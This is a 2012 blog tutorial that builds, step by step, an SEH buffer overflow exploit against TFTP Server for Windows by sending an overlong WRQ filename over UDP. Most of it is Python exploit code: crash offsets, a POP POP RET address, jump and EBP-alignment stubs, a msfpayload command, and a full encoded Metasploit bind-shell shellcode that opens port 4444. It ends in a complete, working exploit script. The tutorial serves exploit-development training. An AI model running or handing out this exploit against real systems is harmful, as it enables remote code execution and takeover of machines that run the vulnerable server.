Thursday, November 22, 2012

Exploit Fortnights #1: TFTP Server Filename Overflow

Exploit Fortnights #1: TFTP Server Filename Overflow


Welcome to Exploit Fortnights issue #1. Today I'm going to do an exploit on TFTP Server for Windows which has been exploited numerous times in the past and has many many holes in it. The specific hole that we will be looking at today is a vulnerability when supplying an overly long filename to the WRQ command (more can be found at http://www.metasploit.com/modules/exploit/windows/tftp/tftpserver_wrq_bof). Due to a problem in the way that the program handles this filename, we can achieve arbitrary code execution on the victim machine.

The code that we will be basing this exploit off of can be found on exploit-db.com at http://www.exploit-db.com/exploits/5314/

For those of you wanting the vid.... well here you go... (sorry that the sound keeps on going on....not sure why it does this):



Anyway as before, here is what you will need for this tutorial.

Required

  • Some version of Windows (I use Windows XP SP3)
  • Knowledge of SEH exploits.
  • Immunity Debugger installed on the Windows machine
  • Mona.py installed within Immunity Debugger
  • The ability to stay awake.
  • Thats really it....no joke....
  • Oh....and the software I mentioned above of course ;)

Steps (taken from my notes)

  1. Look up UDP python sockets 
  2. Make exploit with 2000 "A"
  3. Replace "A" s with metasploit pattern
  4. Found that EDX is overwritten 1522 bytes in
  5. Found ECX is overwritten 1526 bytes in
  6. Found NSEH is overwritten 1492 bytes in
  7. Configure Immunity Debugger to start the program with the -v argument (so it would start properly)
  8. Restructure the exploit to overwrite NSEH and SEH with specific values to check offsets and confirm that these are correct.
  9. Use 0x7C80DFEC as a POP POP RET for NSEH
  10. Find this doesn't work
  11. Replace this with 00410EC0 from TFTPServ, find this works.
  12. Replace SEH with \xeb\x80\x90\x90. This will effectively jump us back 7E or 126 bytes back.
  13. Manually make some instructions to set up our jump back again to the beginning of our shellcode by doing *
  14. Set up a NOP padding for the shellcode (even though we land directly at the beginning of the shellcode exactly I still like a NOP buffer just in case something out of the ordinary happens)
  15. Make our shellcode and put it into our exploit.

Well thats roughly how it SHOULD work. But there is one other thing you will see further along that will prevent this from working normally. See if you can't figure it out ;)

Our Base Exploit

import socket
host = "127.0.0.1"
port = 69
filename = "\x41" * 2000
mode = "netascii"
data = "\x00\x02" + filename  + "\0" + mode + "\0"
handler = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
handler.sendto(data, (host,port))
Some things to note here are that we use the SOCK_DGRAM for UDP mode in this case. Also we use handler.sendto rather than handler.send. Again these are differences in using UDP in Python compared to TCP.

\0/ Yay networking. Now that that's sorted out lets try testing things out.

Our first test

First though we need to make sure we load the program and specify the -v option as a parameter or else the program won't run correctly.



And now we have our server started:


Lets send the exploit:


Ok so we get an access violation when writing to 0x00230000. Looking at our registers we notice the following:

  • ECX appears to be overwritten with some of our A's.
  • The stack appears to point to multiple different sections within our A's.
More importantly if we look at the SEH chain we see the following:


So we also seem to have overwritten our SEH handler.

Pattern Time!

Next we do a !mona pc 2000 to generate our metasploit pattern of 2000 characters and replace our A's in the original exploit with this:


And the resulting crash:



As show in the previous tutorial we then try to find the offsets. We do this by running:

!mona findmsp

And the results should be similar to the following below:


 The from this the important things that we gather are:

  • NSEH is overwritten 1492 bytes in.
  • EDX is overwritten 1522 bytes in.
  • ECX is overwritten 1526 bytes in.

Restructuring the Exploit

After taking all this into account we make a new exploit as follows:

import socket 
host = "127.0.0.1"
port = 69 
filename = "A" * 1492
filename += "B" * 4 # NSEH overwrite
filename += "C" * 4 # SEH overwrite 
mode = "netascii" 
data = "\x00\x02" + filename + "\0" + mode + "\0" 
handler = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
handler.sendto(data, (host,port))

We then send the new exploit and get the following in the SEH chain.


If we right click on the first entry and select "Follow Address in Stack" we see the following:


So we have successfully controlled the NSEH and SEH :). We are on our way to making a working exploit.

Configuring SEH with the Right Information

Ok so next we need to find out the right POP POP RET to use for our SEH exploit. We shall use mona for this again and execute the following:

!mona seh

You should get something like the following:


You can also open the SEH.txt file (Most likely under C:\Program Files\Immunity Inc\ Immunity Debugger\seh.txt)

You can use any of the ones listed that start with a 00. I chose to use the first one listed out of simplicity.

Replace the SEH value with the new one and exploit once again:


 Yay :) We got the SEH handler under control now. Lets check this:

Yep that looks right. So where does that take us then?



Oh great balls of fire....that doesn't look nice. It appears that the B's that we are still using for our exploit as the NSEH overwrite are where the program is pointing to now. Now this wouldn't normally be a problem but as you can see in the screenshot above we can't jump to anything below as that would run into a new segment of memory the program doesn't have access to.

The First Stage...How do I Jump Backwards again???

So after playing around I found that we still have tons of space above where we are now. To verify this double click on the first B that we have, where the program is currently pointing. You should see an arrow appear:



Scroll up till you see the beginning of your \x41's.


We see that it is 5D4 bytes till the beginning of our \x41's or 1492 bytes. We decide to do a jump backwards to the beginning of our buffer. The farthest backwards jump we can do is \xeb\x80\x90\x90.

So now we will have it so that NSEH looks like this:
nseh = "\xeb\x80\x90\x90"
Except just put that in for the part in the code where NSEH is overwritten (well that minus the nseh = part).

Testing it Out Again

Ok with those changes our code looks like this:


import socket 
host = "127.0.0.1"
port = 69 
filename = "A" * 1492
filename += "B" * 4 # NSEH overwrite
filename += "\x05\x96\x40" # SEH overwrite 
mode = "netascii" 
data = "\x00\x02" + filename + "\0" + mode + "\0"
handler = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
handler.sendto(data, (host,port))

Lets test that out:

So we can see we go back 7E or 126 bytes from where we execute our jump (makes sense as we jump 80 bytes but 2 of those are taken up by the actual jump instruction which takes up 2 bytes. Other 2 bytes of the 4 byte overwrite are taken up by our \x90 NOP instructions)

Our new exploit taking this in account is as follows:


import socket 
host = "127.0.0.1"
port = 69 
filename = "A" * (1492-126)
filename += "\xCC" * 126
filename += "\xeb\x80\x90\x90" # NSEH overwrite
filename += "\x05\x96\x40" # SEH overwrite 
mode = "netascii" 
data = "\x00\x02" + filename + "\0" + mode + "\0" 
handler = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
handler.sendto(data, (host,port))
Lets check that:




Aligning EBP

Ok now notice that the register EBP points near to our buffer. Right click on EBP, click "Follow in Stack" and then double click on the first entry. Scroll down a bit and you should notice the following:


We can increase EBP to get it to point to the beginning of our buffer of \x41's by doing the following:


By doing \x83\xC5\x50 15 times over to increase EBP to the right and then doing \xFF\xE5 to execute a JMP EBP, we actually jump directly to the beginning of the buffer.

Actually in this picture i would like to point out a few things:

  • If you look in the register menu you can see EBP pointing to our string of A's.
  • You can see these A's in the bottom left (btw this is not shown but the next line up is the name of the program so this is literally the first line of A's that we sent.
Ok so lets try that now.


:) Seems like we are nearly there. And we are...minus one odd little thing.

The Odd Byte Error

If you look in the above screenshot you will see that we have our long string of A's on the left hand side. But if you have been paying attention (or just weren't listening intently to me :P ) you will see that the string of A's are broken up on the line with offset E0 on the left hand side.

We see that our A's get turned into 0's at this location. Looking at the rest of our buffer we see that this is the only location that this happens.

Ok so lets see how far this is from the beginning from beginning of the beginning of buffer so we can adjust for this.

Well atm the arrow points to the beginning of our buffer and counting along the line we see it is the 8th byte in the line. Considering the first byte is E0, we can say that E7 is the first NULL byte.

E7 in decimal is 231 bytes. So after 230 bytes we get a 4 byte space of nulls. So if we prepend 230 bytes of junk before our set of As we should be able to deal with this problem.

Well thats not entirely right. It seems I was two bytes off from the start of the 0's. Lets up our \x90's by 6 (2 for the 2 bytes and then another 4 to cover the null byte space). So we will use 236 bytes of junk instead.

import socket

host = "127.0.0.1"
port = 69

filename = "\x90" * 236
filename += "A" * (1492-126-236) # 126 for the space that we jump to. 236 for the space up to and including the 4 byte null space.
filename += "\x83\xC5\x50" * 15
filename += "\xFF\xE5"
filename += "\xCC" * ( 126 - ((15 * 3) + 2) )
filename += "\xeb\x80\x90\x90" # NSEH overwrite
filename += "\x05\x96\x40" # SEH overwrite

mode = "netascii"

data = "\x00\x02" + filename + "\0" + mode + "\0"

handler = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
handler.sendto(data, (host,port))




Ok so now we have solved that issue. However two problems remain:
  • We now have to jump to the beginning of the 41's and not the \x90's at the beginning. Thus we have to increase our EBP some more to point to the \x41's now.
  • We need to generate some shellcode baby!

Adjusting Our Registers......Again

Ok so after a bit of playing around we find that we need add another 3 copies of our ADD EBP, 50 set of instructions to our exploit. I tried doing it via the regular method of looking at the offsets manually but I found I was 2 sets off:


So if we use 3 instead this is the code should get:

import socket 
host = "127.0.0.1"
port = 69 
filename = "\x90" * 236
filename += "A" * (1492-126-236) # 126 for the space that we jump to. 236 for the space up to and including the 4 byte null space.
filename += "\x83\xC5\x50" * 18
filename += "\xFF\xE5"
filename += "\xCC" * ( 126 - ((18 * 3) + 2) )
filename += "\xeb\x80\x90\x90" # NSEH overwrite
filename += "\x05\x96\x40" # SEH overwrite 
mode = "netascii" 
data = "\x00\x02" + filename + "\0" + mode + "\0" 
handler = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
handler.sendto(data, (host,port))



Shellcode Time!

We then generate some shellcode:


msfpayload windows/shell/bind_tcp R | msfencode -a x86 -b "\x00\x2f" -t c

And stick it in there and add some NOPS before it. Then adjust our amount of A's to accomidate for the nop slide and the shellcode and you should get the following:


import socket
host = "127.0.0.1"
port = 69 
nopSlide = "\x90" * 20 
# bind_tcp metasploit shellcode on port 4444
# 325 bytes
# bad chars = \x00 \x2f
shellcode = ("\xbe\xb9\xdb\x0e\x9c\xdb\xd1\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
"\x56\x31\x72\x13\x83\xc2\x04\x03\x72\xb6\x39\xfb\x60\x20\x34"
"\x04\x99\xb0\x27\x8c\x7c\x81\x75\xea\xf5\xb3\x49\x78\x5b\x3f"
"\x21\x2c\x48\xb4\x47\xf9\x7f\x7d\xed\xdf\x4e\x7e\xc3\xdf\x1d"
"\xbc\x45\x9c\x5f\x90\xa5\x9d\xaf\xe5\xa4\xda\xd2\x05\xf4\xb3"
"\x99\xb7\xe9\xb0\xdc\x0b\x0b\x17\x6b\x33\x73\x12\xac\xc7\xc9"
"\x1d\xfd\x77\x45\x55\xe5\xfc\x01\x46\x14\xd1\x51\xba\x5f\x5e"
"\xa1\x48\x5e\xb6\xfb\xb1\x50\xf6\x50\x8c\x5c\xfb\xa9\xc8\x5b"
"\xe3\xdf\x22\x98\x9e\xe7\xf0\xe2\x44\x6d\xe5\x45\x0f\xd5\xcd"
"\x74\xdc\x80\x86\x7b\xa9\xc7\xc1\x9f\x2c\x0b\x7a\x9b\xa5\xaa"
"\xad\x2d\xfd\x88\x69\x75\xa6\xb1\x28\xd3\x09\xcd\x2b\xbb\xf6"
"\x6b\x27\x2e\xe3\x0a\x6a\x27\xc0\x20\x95\xb7\x4e\x32\xe6\x85"
"\xd1\xe8\x60\xa6\x9a\x36\x76\xc9\xb1\x8f\xe8\x34\x39\xf0\x21"
"\xf3\x6d\xa0\x59\xd2\x0d\x2b\x9a\xdb\xd8\xfc\xca\x73\xb2\xbc"
"\xba\x33\x62\x55\xd1\xbb\x5d\x45\xda\x11\xe8\x41\x14\x41\xb9"
"\x25\x55\x75\x2c\xea\xd0\x93\x24\x02\xb5\x0c\xd0\xe0\xe2\x84"
"\x47\x1a\xc1\xb8\xd0\x8c\x5d\xd7\xe6\xb3\x5d\xfd\x45\x1f\xf5"
"\x96\x1d\x73\xc2\x87\x22\x5e\x62\xc1\x1b\x09\xf8\xbf\xee\xab"
"\xfd\x95\x98\x48\x6f\x72\x58\x06\x8c\x2d\x0f\x4f\x62\x24\xc5"
"\x7d\xdd\x9e\xfb\x7f\xbb\xd9\xbf\x5b\x78\xe7\x3e\x29\xc4\xc3"
"\x50\xf7\xc5\x4f\x04\xa7\x93\x19\xf2\x01\x4a\xe8\xac\xdb\x21"
"\xa2\x38\x9d\x09\x75\x3e\xa2\x47\x03\xde\x13\x3e\x52\xe1\x9c"
"\xd6\x52\x9a\xc0\x46\x9c\x71\x41\x76\xd7\xdb\xe0\x1f\xbe\x8e"
"\xb0\x7d\x41\x65\xf6\x7b\xc2\x8f\x87\x7f\xda\xfa\x82\xc4\x5c"
"\x17\xff\x55\x09\x17\xac\x56\x18") 
filename = "\x90" * 236
filename += nopSlide
filename += shellcode
filename += "A" * (1492-126-236-len(nopSlide)-len(shellcode)) # 126 for the space that we jump to. 
# 236 for the space up to and including the 4 byte null space. 
# 20 bytes for nop slide and 325 bytes for the shellcode. 
filename += "\x83\xC5\x50" * 18
filename += "\xFF\xE5"
filename += "\xCC" * ( 126 - ((18 * 3) + 2) )
filename += "\xeb\x80\x90\x90" # NSEH overwrite
filename += "\x05\x96\x40" # SEH overwrite 
mode = "netascii" 
data = "\x00\x02" + filename + "\0" + mode + "\0" 
handler = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
handler.sendto(data, (host,port))


We have successfully made our exploit!

If you connect to the port using metasploit you should get the following: